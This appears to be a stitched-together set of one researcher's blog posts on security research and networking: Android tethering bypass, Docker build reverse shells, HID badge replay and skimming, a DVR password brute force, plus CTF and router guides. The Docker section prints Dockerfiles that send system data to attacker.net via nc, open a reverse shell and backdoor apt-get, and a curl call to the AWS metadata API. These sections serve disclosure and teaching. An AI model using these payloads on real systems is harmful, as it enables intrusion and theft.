eff.org 0       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        [maps.eff.org web6.eff.org eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org]
web6.eff.org    1       Good    AF842FA69A720E9FB2F37BAF723A20F80B8C2072693E55D0A1EA78C7BABE2699        [*.eff.org *.dev.eff.org *.s.eff.org *.staging.eff.org]
https-everywhere-atlas.eff.org  1       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        [kittens.eff.org maps.eff.org web6.eff.org eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org]
maps.eff.org    1       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        [maps.eff.org web6.eff.org eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org]
atlas.eff.org   1       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        [eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org maps.eff.org web6.eff.org]
httpse-atlas.eff.org    1       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        [eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org maps.eff.org web6.eff.org]
kittens.eff.org 1       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        [eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org maps.eff.org web6.eff.org]
dev.eff.org     2       No Host         []
s.eff.org       2       Good    AF842FA69A720E9FB2F37BAF723A20F80B8C2072693E55D0A1EA78C7BABE2699        [*.eff.org *.dev.eff.org *.s.eff.org *.staging.eff.org]
staging.eff.org 2       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        [max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org]
leez-dev-supporters.eff.org     3       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        [staging.eff.org max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org]
micah-dev2-supporters.eff.org   3       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        [max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org]
max-dev-supporters.eff.org      3       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        [max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org]
max-dev-www.eff.org     3       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        [max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org max-dev-supporters.eff.org leez-dev-supporters.eff.org]

Web Interface

CertGraph also includes a simple web interface for easy visualization of the graph. It can be accessed online at https://lanrat.github.io/certgraph or offline in the docs folder in the program source code.

The web UI is a single page web interface that can visualize the graph output when using the -json flag. It can be run entirely offline.

Example: $ certgraph -json example.com > example-graph.json

You can load your data into the web interface by uploading, pasting, or linking to a JSON file using the data dropdown menu.

For more information and examples, checkout the project README on GitHub

Shmoocon 2018 Talk

Background

The ability to tether is controlled by your device’s build.prop file, usually located at /system/build.prop. The default is to require the provisioning check before enabling tethering, but it can by bypassed by adding the following line:

net.tethering.noprovisioning=true

Unrooted devices can’t edit /system/build.prop, so it is up to the ROM manufacturer to set this property. Some devices like the Google Nexus 6P default to net.tethering.noprovisioning=true. But this is an exception and not the norm. The Google Nexus 5X, Pixel, and Pixel 2 all perform provisioning checks.

Overview

When enabling tethering on Android, the OS will first do a provisioning check with the carrier to determine if the user’s plan allows tethering. If allowed, tethering is enabled, otherwise a message is displayed to the user.

If there is no sim card inserted then no provisioning check is performed, and tethering is allowed. Additionally, if tethering is enabled on a phone with no sim (not that this scenario would be of much use) and a SIM is then inserted, tethering is disabled as it should be.

However, if tethering is enabled while the radio is connecting, no provisioning check will be performed, and tethering will remain enabled after the radio connection is established.

The first issue I discovered is the ability for a user-installed application on a stock OS to reset the cellular modem. The second issue is the lack of a provisioning check once the cellular modem has finished reconnecting.

Together these bugs allow the Android OS to operate as if net.tethering.noprovisioning=true were specified in build.prop, even if it is not.

Tethr Demo

Before I dive into the details, observe the following video which demonstrates when enabling tethering in the Android system UI, a provisioning check is performed and tethering is not allowed. Then when using the Tethr demo app, the signal meter loses signal when the modem is resetting, and then tethering is successfully enabled.

Source code: github.com/lanrat/tethr

Compiled APK: Tethr.apk

Issue 1: Resetting radio via reflection

Java Reflection in Android can be used to allow application code to make calls to undocumented, or hidden APIs. This is not officially supported, and often strongly discouraged. It can however, allow app developers to do unsupported things, or in this case, bypass a permission check.

Resetting the cellular radio is performed in CellRefresh.java by calling CellRefresh.Refresh(). CellRefresh does a number of things to reset the cellular connection on most Android versions, but on Android 6+ the following reflections are used:

getSystemService(Context.TELEPHONY_SERVICE).getITelephony().setCellInfoListRate()
getSystemService(Context.CONNECTIVITY_SERVICE).mService.setMobileDataEnabled();

Older Android versions use the following reflections:

getSystemService(Context.CONNECTIVITY_SERVICE).mService.setRadio();
getSystemService(Context.TELEPHONY_SERVICE).getITelephony().disableDataConnectivity()
getSystemService(Context.TELEPHONY_SERVICE).getITelephony().enableDataConnectivity()

Solution

The methods used should require the application to have the system or privileged permissions.

Issue 2: Tethering provisioning check race condition

In order to exploit the race condition and bypass the tethering provisioning check an Android PhoneStateListener and AccessibilityService are used to programmatically enable the desired tethering mode at exactly the right time.

First the network is reset as described above. While the reset is being performed the PhoneStateListener (TetherPhoneStateListener.java) listens for when the cellular network is down and then starts the system’s settings tethering dialog where the AccessibilityService (TetherAccessibilityService.java) finds the correct UI switch and toggles it.

The AccessibilityService and PhoneStateListener are not strictly required for this exploit. The user can manually toggle tethering at the correct time to have the same effect. Automating the process with an AccessibilityService makes the process easier to reproduce.

Solution

The provisioning check should happen each time the radio is reset when tethering is enabled in addition to checking when enabling tethering.

Testing

Tested Wireless Carriers:

• Verizon
• AT&T

Tested phones (all stock, locked bootloaders, OEM OS):

• Nexus 5X running Android 6.0.1
• Nexus 5X running Android 7.0.0
• Nexus 5X running Android 7.1.1
• Samsung Galaxy S7 running Android 6.0.1

Untested but should also work on:

• Pixel (XL)
• Other non-nexus devices that perform a provisioning check

As the Nexus 6P already has net.tethering.noprovisioning=true set in its stock build.prop there is no need for this exploit.

Fixes

After submitting to the Android Bug Bounty Google created two patches for Android 7.1.2 which fixed this issue.

Patch 1: Added permission check for setCellInfoListRate

Patch 2: Fixed the logic for tethering provisioning re-evaluation

After fixing the issue Google was kind enough to give me a Pixel XL for reporting it to their bug bounty.

The vulnerability affects Android versions prior to 7.1.2 by allowing modification of tethering-related system properties through reflection and system service manipulation. This research was conducted to highlight security weaknesses in Android’s tethering permission model.

a wax-like substance that originates as a secretion in the intestines of the sperm whale, found floating in tropical seas and used in perfume manufacture.

However, that will not be what this post is about (sorry to disappoint). Instead, I’ll present what happens when building an image on Docker that contains a reverse shell in the Dockerfile.

Docker

First, let me start with a very brief description of Docker. If you are already familiar with Docker you should skip to the next section.

Docker is an open-source project that automates the creation of environments for Linux applications inside software containers.

Docker containers wrap up a piece of software in a complete filesystem that contains everything it needs to run: code, runtime, system tools, system libraries - anything you can install on a server. This guarantees that it will always run the same, regardless of the environment it is running in.

Docker vs. Virtual Machines

Unlike Traditional virtual machines Docker images do not contain the entire OS, just the libraries and resources needed by the application.

VIRTUAL MACHINES: Virtual machines include the application, the necessary binaries and libraries, and an entire guest operating system – all of which can amount to tens of GBs

CONTAINERS: Containers include the application and all of its dependencies – but share the kernel with other containers, running as isolated processes in user space on the host operating system. Docker containers are not tied to any specific infrastructure: they run on any computer, on any infrastructure, and in any cloud.

Dockerfile

The Dockerfile is a set of instructions executed by docker to build an image which can later be run. Below is an example Dockerfile which after being built can be run to print Hello World to stdout.

FROM debian

ENV MESSAGE "Hello World"

RUN echo "$MESSAGE" > /message.txt

CMD cat /message.txt 

The RUN command in a Dockerfile runs when docker is building the image. CMD or ENTRYPOINT run when the image is being run. Typically all setup for the image is performed in RUN commands while the application the image is being built for starts with the CMD command.

Docker Hub

Docker Hub is a cloud-based registry service which allows you to link to code repositories, build your images and test them, store manually pushed images, and links to Docker Cloud so you can deploy images to your hosts. It provides a centralized resource for container image discovery, distribution and change management, user and team collaboration, and workflow automation throughout the development pipeline.

Everything should be in the cloud right? ☁

Container Lifecycle

• $ docker build
  • Create a container on from a Dockerfile
• $ docker pull
  • Pull a pre-built image from the Docker Hub
• $ docker run
  • Runs a prebuilt container
  • Can also build or pull a container if it does not exist locally…

Ambergris

A reverse shell inside your Dockerfile

So, what would happen if we put a reverse shell in a Dockerfile using RUN commands? Below is a Dockerfile I created to test just that.

FROM busybox

ENV POC_HOST attacker.net
ENV POC_PORT 1337

RUN echo "Please NEVER build this image!"

RUN (echo "== UNAME =="; uname -a) | nc $POC_HOST $POC_PORT
RUN (echo "== ID =="; id) | nc $POC_HOST $POC_PORT
RUN (echo "== IP =="; ip a) | nc $POC_HOST $POC_PORT
RUN (echo "== DMESG =="; dmesg) | nc $POC_HOST $POC_PORT

RUN nc $POC_HOST $POC_PORT -e /bin/sh

CMD sh

This Dockerfile sends our server located at attacker.net the output of uname, id, ip a, dmesg, and finally, a reverse shell.

Local Builds

In order to test this, build this local image, replacing attacker.net with your own domain. And have a shell listener on port 1337.

docker build .

Even though the user runs the reverse shell as root, it is not a fully privileged root. You are running as root inside a Docker container. You have uid=0, gid=0, but some system level privileges may not be present like NET_ADMIN preventing you from putting the network interface into promiscuous mode. Additionally you will have a virtual network adapter behind a virtual NAT on the host and a different root file-system.

Alternatively the image can be built locally from a remote source such as GitHub!

docker build github.com/lanrat/ambergris

This will have the same effect as the local Dockerfile above. However, in this scenario the Dockerfile containing the reverse shell is not saved on the image building system allowing the user to see what commands they are running. This can be just as dangerous as pipe to sh.

Remote Builds

Docker Hub

What if we send our “backdoored” Dockerfile to the Docker Hub to be built? Well, not surprisingly it is built! And as part of the building process the reverse shell is run!

The Docker Hub is not the only cloud image building service in town, QUAY is another, let’s test it!

Another shell!

Build Environment

Both Docker Hub and QUAY run on AWS. So the shells we get are inside a Docker container on an AWS instance.

Docker Hub

• Hardware
  • 2.50GHz Intel Xeon CPU
  • 4GB Ram
  • 40GB HD space
• Can read host dmesg
  • kernel stack traces of host
  • Apparmor rules
  • networking information
  • vpn info
  • limited information on previous containers built
• Limits execution time to 2 hours

QUAY

• Hardware
  • 2.40GHz Intel Xeon CPU x2
  • 4GB Ram
  • 50GB HD space
• Can read host dmesg
  • kernel stack traces of host
  • Apparmor rules
  • networking information
  • limited information on previous containers built
• Limits execution time to 1 hour
  • automatically runs 3 times!

Both the official Docker Hub and QUAY have similar environments and limits on build execution time. Like in a normal Docker container the dmesg command will return information about the host system which may contain sensitive information.

What can I do with this anyways?

You basically get a free AWS instance that reboots every 1-2 hours with no persistent storage. But with a few clever hacks these limitations can be overcome.

Example usages:

• Mine Bitcoin
• Send spam
• Botnet
• Tor node
• Password cracking
• Proxy

Obfuscation

Even if you view the Dockerfile of an image before you build it, it is still possible to end up with a reverse shell on your system. Examine the following example:

FROM lanrat/base

RUN apt-get install myapp

CMD myapp

Looks safe right? Not so fast…

Suppose the Dockerfile for lanrat/base contained the following:

FROM debian

ENV POC_HOST attacker.net
ENV POC_PORT 1337

RUN echo "Please NEVER build this image!"

RUN echo -e '#!/bin/sh \nnc $POC_HOST $POC_PORT -e /bin/sh' > /usr/bin/apt-get

RUN chmod +x /usr/bin/apt-get

CMD sh

This effectively replaces the apt-get command with a reverse shell. So when the image using lanrat/base is built it calls apt-get thinking it is going to install myapp but it really starts a reverse shell.

This can be taken a step further by having the fake apt-get command pass its arguments to the real apt-get and fork the reverse shell to the background. As the image would appear to be built successfully it may go unnoticed, but every time it is built, or even run, the attacker’s code may run.

Running Inside AWS

Both the Docker Hub and Quay use AWS to build the Docker images. This means that the shell you get inside a Dockerfile when building on one of these services is inside the AWS infrastructure.

I found that within this environment Docker containers being build can make requests to the AWS Instance Metadata API. This API may leak information such as access tokens, usernames/passwords for API/infrastructure and configuration details. The AWS Instance Metadata API is accessible by making HTTP requests to the IP address 169.254.169.254. For Example:

curl http://169.254.169.254/latest/user-data

The Docker hub had very little information accessible from this API but QUAY had a more of their environment’s configuration including usernames, keys, and access tokens accessible.

Takeaways

• Know where your image comes from
• Know where your base image’s base image comes from
• Understand that docker build is just as dangerous as docker run with untrusted images
• Block access to the AWS Instance Metadata API if you allow users to make HTTP requests from your infrastructure

Disclosure

Docker

• 8/29/16 - My initial disclosure
• 8/29/16 - Response acknowledging potential vulnerability. Informed me that each Docker build is performed on a fresh VM
• 8/30/16 - AWS Instance Metadata API blocked from within Docker build environment

QUAY (CoreOS)

• 8/30/16 - My initial disclosure
• 8/30/16 - Response acknowledging as expected behavior.
• 8/30/16 - I provided example of data leaking on the AWS Instance Metadata API
• 8/30/16 - Removed sensitive data from AWS Instance Metadata API

Bonus Video

Background

The back of the HID readers have 10 colored wires coming out of them. Luckily the readers also had a nice sticker telling me which wire was what.

The readers are nice enough to accept a wide range of input voltages to function from 5v - 16v. The readers speak the Wiegand protocol which is a simple and well documented protocol for sending bits over a wire.

Wiegand Overview

• Two Data lines (data0 & data1)
• Default to line high (~5v)
• Falling edge represents a single bit
• Variable bit length
  • Test badges use 35 bits
• Noise can easily add extra bits on the line
  • Use a well insulated wire
• Error checking can be implemented at a higher level if desired
  • CRC or parity bit

I started off using an Arduino Wiegand library to read raw data from the card to prove the readers worked correctly. This allowed to me investigate the other non-Wiegand and power lines going into the reader. In short, the extra pins allow you to override the LED light color, beeper, and test the infra-red tamper sensor status (more on that later).

Card Code Format

The test badges I had use the Corporate 1000 data format. This format is used by most buildings that use the HID access cards. The format specifies parity bits, organization ID, and badge ID.

My test badges contain a 35 bit long code. The bit order for each organization can also be randomized for additional security via obscurity. With a large enough sample set of badges, identifying the bits that represent the organization ID can be trivial. (they will be the bits that are the same on all scanned badges for the same organization). The rest are for the individual badge ID and any parity bits used.

Encryption

The RFID information going between the physical badge and reader is encrypted, but the reader to the wire inside the wall is plain-text. The encryption keys used for the badge reader can be set by the organization that implements them, however most use the default keys from the factory.

This is not due to security negligence, but for functionality reasons. The badges and readers can only operate on a single key. So if two organizations, A and B, occupy the same building on different floors with a shared elevator system that requires a badge scan to operate, both organizations will need to use the same keys to allow both sets of employees to operate the elevator. Now suppose that organization B has another office somewhere else in the world and employees regularly travel between the offices. They want this office to use the same key to allow their employees to use one badge for all their buildings. If this second location is shared with organization C, then organization C will also need to use the same keys. So now organization C and A will be using the same keys even though they may not share any buildings. This can easily expand to hundreds or more organizations as each organization adds new offices and expands globally.

Cloning a physical badge (beyond the scope of this post) will require the private encryption key. The private key is stored in the HID reader in order to decrypt the response from the badge. Previous work has already been done to extract this key.

Replay

Now that the protocol and pins for the HID badge scanner are understood I wanted to see if it would be possible to use a micro-controller to emulate the reader to inject previously scanned badges into the system allowing a potential adversary access to a facility they have a badge code for but lack the physical badge at the time of entry.

The threat model here is the adversary has the ability to get the badge data but is unable to physically get the badge. Perhaps they scanned it while standing next to the victim on a crowded bus or by bumping into them on the street.

For this attack I used the same Arduino I used to read badges in the Background section but modified it so that the Arduino sends a pre-saved badge to whatever it is connected to. I could now send badge codes from one Arduino to another using one Arduino as a badge reader and another as the badge emulator.

The controller Arduino has no way to differentiate between the real HID reader and the Arduino acting as an emulated reader. In theory this will also work with the actual HID controller /access system, but unfortunately I do not have one to test on.

All is not lost, HID as thought of this and added a tamper line to the HID reader to detect someone disconnecting the HID reader, which is located on the outside of the secured perimeter. On the HID readers I tested, the tamper line is connected to an IR sensor located on the back of the reader next to an IR LED. The IR light bounces off a reflective sticker on the back of the mounting plate to detect if the reader is ever removed from the mounting plate.

However, this only applies to removing the sensor from the wall the way is was designed to be removed. If removed in what will likely be a more destructive way, it would be possible to access the tamper lines without triggering the tamper sensor allowing an adversary to connect into the line injecting their own “tamper OK” signal while disconnecting the real HID reader and connecting their micro-controller undetected. From here they can replay any collected badge codes or even attempt brute forcing access codes.

Building the Badge Collector

In order to easily collect as many badge codes as possible I wanted to create a self-contained badge reader. The badge reader should be self-powered, and have the ability to save collected badges to persistent storage on itself and ideally offer a means to transmit them wirelessly to a receiver nearby. I was able to accomplish all this and more with a Raspberry Pi zero and USB battery pack.

The wiring is as simple as connecting the data0 & data1 Wiegand pins to two of the GPIO pins of the Raspberry Pi, and connecting the 5v output of the USB battery pack to the power inputs of both the Pi and HID reader.

The Raspberry Pi runs headless Debian and a program that can be found on GitHub that listens for incoming badge codes and saves them to a log file on the Pi’s SD card.

Wireless Data Exfiltration

So far this badge collector will work great if hung next to an unsuspecting door. Employees are likely to scan badges to see if they will have access to this newly “secured” area. But if someone discovers it and removes the reader, what then? Aside from loosing the hardware, all the collected badge access codes are gone. Or are they?

The little known PiFm library allows Raspberry Pis to transmit over FM by bit-banging FM over GPIO pin 7. Using this we can convert the log data to audio using espeak and then send it to the FM transmitter provided by PiFm. All we need to do is attach a wire to GPIO Pin 7 to act as the antenna.

With this addition, every time a badge is scanned the data is logged to the Pi’s SD card and transmitted over FM where a nearby FM recorded can make a backup of the badge data.

Demo

@CircleCityCon: Can you solve the Puzzle of Tiamat's Eye? Visit our booth at @DerbyCon to take the challenge! pic.twitter.com/yJzPvxOQk9

— CircleCityCon 10.0: WHODUNIT? (@CircleCityCon) September 26, 2015

The challenge consisted of the small chest pictured above containing an eye made up of blinking red LEDs. Every 30 seconds the pattern would reset. The content organizers hinted that we would need to record the eye at 60fps in order to capture all of the information we needed. We ended up using a coffee creamer cup as a diffuser over the LEDs to make the difference in the pixels clearer. This resulted in the following recording. Note: we recorded 30 seconds at 60fps, which resulted in a 60 second 30fps recording.

Next we extracted each frame from the video with the following command: (ffmpeg would have worked as well too)
avconv -i VID_20150926_175956.mp4 -r 30 frames/%5d.webp

This resulted in the following 1800 frames.

After viewing the image thumbnails we observed that the shortest amount of time the LED was either on or off was 3 frames. This means that every 3 frames represents a single bit. Since on some frames the LED was half-light we decided to sample every 3rd frame starting in the middle of each bit to get the best representation.

#! /usr/bin/env python

import os
from PIL import Image
import sys

def main():
    i = 0
    # because os.walk is not sorted, and I'm lazy
    # ls frames/* > frames.list
    for l in open("frames.list"):
        i+=1
        if i % 3 == 0:
            im = Image.open(l.strip())
            # sample pixel location
            r,g,b = im.getpixel((1357,657))
            if (r>250):
                sys.stdout.write('1')
            else:
                sys.stdout.write('0')
    print ""

if __name__ == "__main__":
    main()

The python script above reads every 3rd frame and prints out a 0 or 1 depending on the LED state. This gave us the following binary string.

0101010101111111111001100110100110100110011100101001110011100111010010011101001001101111100110110010011011111001100011100110000110011101001001100101100111010010011010001001100101100110100010011011111001110101100111001110011001011001101111100110011010011000101001100101100110000110011100101001101010100110010110011100111001110100100110010110011100101001110111100110100110011011101001110011100110000110011001101001110010100110010110011001011001100011100011001110011101001001101001100110001110011010111001100101100111010000000000000000000000000000000000000000000

Our first guess was to convert it to ASCII, however that did not return anything intelligible. Another vague hint provided got us thinking it was 10 bit serial data. A quick search on Google led us to Asynchronous Serial Communication, which after removing the first 20 bits for the header, tells us that there is 8 data bits padded by a start and stop bit. Splitting the binary into 10 bit lines and then removing the first and last bit provided us with the following binary.

01100110
01101001
01110010
01110011
01110100
01110100
01101111
01101100
01101111
01100011
01100001
01110100
01100101
01110100
01101000
01100101
01101000
01101111
01110101
01110011
01100101
01101111
01100110
...

Converting this to ASCII returns the following text.

firsttolocatethehouseofbearjesterwinsafreec3ticket

After adding a few spaces says:
first to locate the house of bear jester wins a free c3 ticket

which was the magic phrase to say to the house of bear to solve the challenge and win CircleCityCon tickets.

Three worthy adventurers have solved the mystery of the Eye of Tiamat @sid_tracker @lanrat @ryatesm Congrats! pic.twitter.com/O0vMFNiCeb

— CircleCityCon 10.0: WHODUNIT? (@CircleCityCon) September 27, 2015

The puzzle was fun and simple enough to solve in a few hours allowing us to enjoy the rest of DerbyCon. I would like to end by thanking CircleCityCon for creating the challenge and my teammates @SID_tracker and @ryatesm for assisting me in solving the challenge.

All of the data used can be found in This Gist.

Configuring the Modem

The first step is to put your modem into bridged mode. My modem was a Pace 5268AC. Bridged mode can be enabled by opening the modem’s configuration page at http://192.168.42.1/ and then going to Settings -> Broadband -> “Link Configuration” and at the bottom of the page deselect the check-box next to Routing and click save. You may need to reboot your router or have it renew its IP address from Sonic at this time. I initially attempted to configure an IPv6 tunnel using DMZplus, however, in this mode the modem does not forward IP protocol 41 which is needed by the IPv6 tunnel to the DMZ host. Additionally I found that when pinging your WAN IP over the Internet the modem would respond to the ping, as well as forward the ping request to the DMZ host as well, resulting in duplicate ping responses.

Configuring Sonic

The next step is to request a static IP address from Sonic if you have not done so already. This can be done from the members portal at “Internet Connections” -> “Fusion IP Configuration”. After this step you will likely need to enter the new static IP setting in your router to regain connectivity. Once that is done you are ready to request an IPv6 tunnel from Labs -> “IPv6 Tunnels”. Then select “View/Request Tunnel” to refresh the page with your tunnel information. Remember to enter your external static IP you were assigned from the previous page. This should show you your IPv6 Transport and Network addresses and subnets. Take note of these.

Now select “View Example Configuration”. You should now see the following 4 IP address: sonic-side v4 address, customer-side v4 address, Sonic-side transport IP, and customer-side transport IP.

Take note of all 4 of these IPs, as well as the Transport and Network from the previous page.

Configuring your DD-WRT router

Open your DD-WRT router’s configuration page (usually http://192.168.1.1) and go to Setup -> IPv6. If you do not have a IPv6 tab then you are likely running an older build of DD-WRT before the web interface got IPv6 support. I’m running r27506 but other builds should work just as well. From this page, first enable IPv6 and click save, this should make the page reload with all of the options. You want to use a “6in4 Static Tunnel”, with a prefix length of 60.

Static DNS 1 & 2 Sonic’s DNS servers do not have an IPv6 address (that I know of) so I used Google’s public DNS servers 2001:4860:4860::8888 and 2001:4860:4860::8844 for Static DNS 1 & 2.

Assigned / Routed Prefix should be the Network subnet from the previous page without the /60 at the end. So if your network is 2001:05a8:aaaa:bbbb:0000:0000:0000:0000/60 enter 2001:05a8:aaaa:bbbb::. :: is not a typo, it is an abbreviation used in IPv6 address notation for 0 bits.

Router IPv6 Address should be left blank, DD-WRT should automatically use the correct value.

Tunnel Endpoint IPv4 Address should be the “sonic-side v4 address” you took note of before. For me it was 208.201.234.221, but you may have a different value.

Tunnel Client IPv6 Address should be the “customer-side transport IP” from the Sonic example configuration page. The bitmask should be /127, however my build of DD-WRT has maxlength=2 set on form field. Editing the DOM directly and removing this limitation allows you to successfully enter 127.

MTU should be set to 0 to allow DD-WRT to automatically determine the correct value.

Radvd should be enabled.

When you are done your IPv6 configuration page should look like this:

Click Save, then Apply, and then reboot the router. If everything is correct DD-WRT should show an IPv6 addresses in the upper right corner and should offer global IPv6 addresses to computers on the network.

Fixing ICMPv6 (PING)

By default DD-WRT blocks incoming IPv6 pings to your computers on your network. If you want to be able to ping individual computers on your network over the Internet, add the following firewall rule to DD-WRT under Administration -> Commands.

ip6tables -I FORWARD 3 -p icmpv6 --icmpv6-type echo-request -j ACCEPT

After saving and applying you should be able to ping your computer’s global IPv6 address from any other IPv6 host on the Internet.

Enabling Modem Access

The big downside of putting your modem into bridged mode is that you can no longer access its configuration page. Some people don’t care about this, but I like it as it allows me to see my current connection rate and transmission errors. Bridge mode does not mean you need to loose modem access. With another firewall rule you can regain access to the modem’s configuration page. In DD-WRT under Administration -> Commands save the following line as the startup script:

ifconfig `nvram get wan_ifname`:0 192.168.42.2 netmask 255.255.255.0

And add the following line to the router’s firewall script:

iptables -t nat -I POSTROUTING -o `nvram get wan_ifname` -j MASQUERADE

These rules give DD-WRT a second IP of 192.168.42.2 which allows routing to the same subnet the modem is on. After saving, applying and rebooting visiting http://192.168.42.1 should bring the modem’s configuration page back up. It should look something like this:

Success

If everything went well you should have a fully functional IPv6 tunnel to your home network. You can verify this by using test-ipv6.com or ipv6-test.com.

Abstract

Modern automobiles are complex distributed systems in which virtually all functionality, from acceleration and braking to lighting and HVAC, is mediated by computerized controllers. The interconnected nature of these systems raises obvious security concerns and prior work has demonstrated that a vulnerability in any single component may provide the means to compromise the system as a whole. Thus, the addition of new components, and especially new components with external networking capability, creates risks that must be carefully considered.

In this paper we examine a popular aftermarket telematics control unit (TCU) which connects to a vehicle via the standard OBD-II port. We show that these devices can be discovered, targeted, and compromised by a remote attacker and we demonstrate that such a compromise allows arbitrary remote control of the vehicle. This problem is particularly challenging because, since this is aftermarket equipment, it cannot be well addressed by automobile manufacturers themselves.

You can read the full paper.

ToorCon 2015 Talk

Demo Video

CVEs

• CVE-2015-2906
• CVE-2015-2907
• CVE-2015-2908

Vulnerability Note: VU#209512

Press

• WIRED: Hackers Cut a Corvette’s Brakes Via a Common Car Gadget
• KPBS: Car Hacking Research Accelerates At UC San Diego
• Engadget: Hackers control connected cars using text messages
• The Verge: Researchers wirelessly hack a Corvette’s brakes using an insurance dongle
• Business Insider: Hackers have figured out how to take over the brakes in some cars with a simple text message
• Gizmodo: Small Wireless Car Devices Allow Hackers to Take Control of a Vehicle’s Brakes

But how does this affect me, a user?

Well, if any of the services you used were vulnerable, you should at least change your password. Ideally the administrators of the service are aware of this attack and have fixed the issue on their end, and hopefully revoked their previous SSL certificate and issued a new one. If they have not, then you should really consider moving your data elsewhere.

For the web, most web browsers will automatically check for revoked certificates and warn the user if they try to visit a site that is using a certificate that has been revoked. However, Google Chrome, currently the most popular web browser, does not check if a server’s certificate has been revoked by default. Safari, Firefox, and even Internet Explorer do perform this check by default. But don’t worry, CRL (certificate revocation list) checking can be enabled!

To enable CRL checking in Chrome enter chrome://settings into the address bar and press enter. Once on the settings page, enter “ssl” into the search box. Finally check the box next to “Check for server certificate revocation”. That’s all!

To verify that certificate revocation checking works, you can visit https://www.cloudflarechallenge.com. If the page loads then your browser is not checking for revoked certs. If you see an error, then your browser noticed that the certificate being used on the server has been revoked and is doing its job.

More information about how the Heartbleed attack affects certificates can be found in this CloudFlare blog post.

The DVR system was a TRIPLEX DVRLink DVR468RW, whatever that is. It seemed cheap; a small embedded computer with video in/out, a hard-drive and CD-RW drive for recording storage. The administration interface was accessed either by a web server running on the device or a desktop client you installed on your computer.

My initial thought was to remove the device’s internal clock battery to reset the password back to the default of “1234”, no dice. Next on the list of things to try was examining the hard-drive in a desktop computer to see if the password could be viewed or reset. The hard drive had a single partition with some old surveillance video footage; nothing to do with settings or authentication. Further examination of the main board revealed a flash memory chip which I assumed stored the device’s configuration, including the administration password.

Let me step back here… The administration password could be entered either over one of the remote management interfaces (the desktop client or web server) or physically on the devices keypad. The keypad had the buttons: [1], [2], [3], [4] and [ENTER]. Well isn’t that interesting; it looks as if the password can only be made up of at most 4 characters. And the desktop client nicely informs me that when entering a password it must be between 4 and 8 characters long, that leaves only 87,296 possibilities.

So, onto the next attack! Knowing that this device had such a limited amount of possible options for the password a brute force attack wouldn’t be bad at all. After spending a lot of time examining unsuccessful login attempts from the desktop client in Wireshark and understanding their proprietary protocol, I wrote my first useful python script to automate the process. After a few false positives and tweaks, I was able to get the program to generate a list of every possible password combination for the device and try them out. Within a minute of running I had the device’s long lost administration password of “1324” (It has since been changed).

After logging in as the Administrator I was able to see that there were other accounts on the system as well. And my program worked equally well for all of them. However it is currently hard-coded to use the Administrator username. You may change it if you wish, but why bother? 😉

Attached to this post is both the exploit and manual for the TRIPLEX DVRLink DVR468RW. I hope that either may be useful to someone. (In a law abiding way)

DVR_exploit.py (Developed and tested with Python 3 running on Windows XP)

This article has been published in 2600 Magazine issue Spring 2013; Volume 30, Number one!

ActionBarSherlock is an Android support library designed to allow you to use the ActionBar which was introduced in Android 3.0 Honeycomb with older devices, back to Android 2.1 Eclair. This allows your applications to have a modern looking interface, even on older devices whose API does not support the new features.

To get started using ActionBarSherlock in Eclipse follow these steps.

Download ActionBarSherlock

Visit http://actionbarsherlock.com to download and extract the latest version to a development directory. You will be including this directory as a library in your app.

In Eclipse choose File -> New -> Other and select “Android Project from Existing Code”. Select the “actionbarsherlock” folder withing the directory of the zip file you just extracted. Eclipse should detect the project and import it into your workspace.

Create a New Application

If you are going to add the ActionBar to an existing application skip this step.

Create a new Android application. I recommend the lowest minimum SDK you can use for your application (no lower that API 7). And set the target SDK to the highest version you can support (ideally the newest Android version). Finish the rest of the new application wizard so that Eclipse shows you your newly created application.

Adding ActionBarSherlock to the Application

Right click the application project and select properties. Then in the Android section under Library select Add and choose actionbarsherlock. Select Apply and then OK.

If you get the error: Found 2 versions of android-support-v4.jar in the dependency list in the console output then delete android-support-v4.jar in your project’s libs directory.

In AndroidManifest.xml add the attribute android:theme="@style/Theme.Sherlock" to the Application section. There is also Theme.Sherlock.Light,Theme.Sherlock.Light.DarkActionBar, Theme.Sherlock.Light.NoActionBar and Theme.Sherlock.NoActionBar.

Now you need to update each Activity that you want the ActionBar to appear on. In each Activity import com.actionbarsherlock.app.SherlockListActivity and remove the import for android.app.Activity. Change the class to extend SherlockActivity instead of Activity.

The ActionBar can also replace application menus. To use the ActionBar for menus import com.actionbarsherlock.view.Menu and com.actionbarsherlock.view.MenuItem. And remove the imports for android.view.Menu, android.view.MenuInflater, and android.view.MenuItem. Inside onCreateOptionsMenu() replace getMenuInflater() with getSupportMenuInflater().

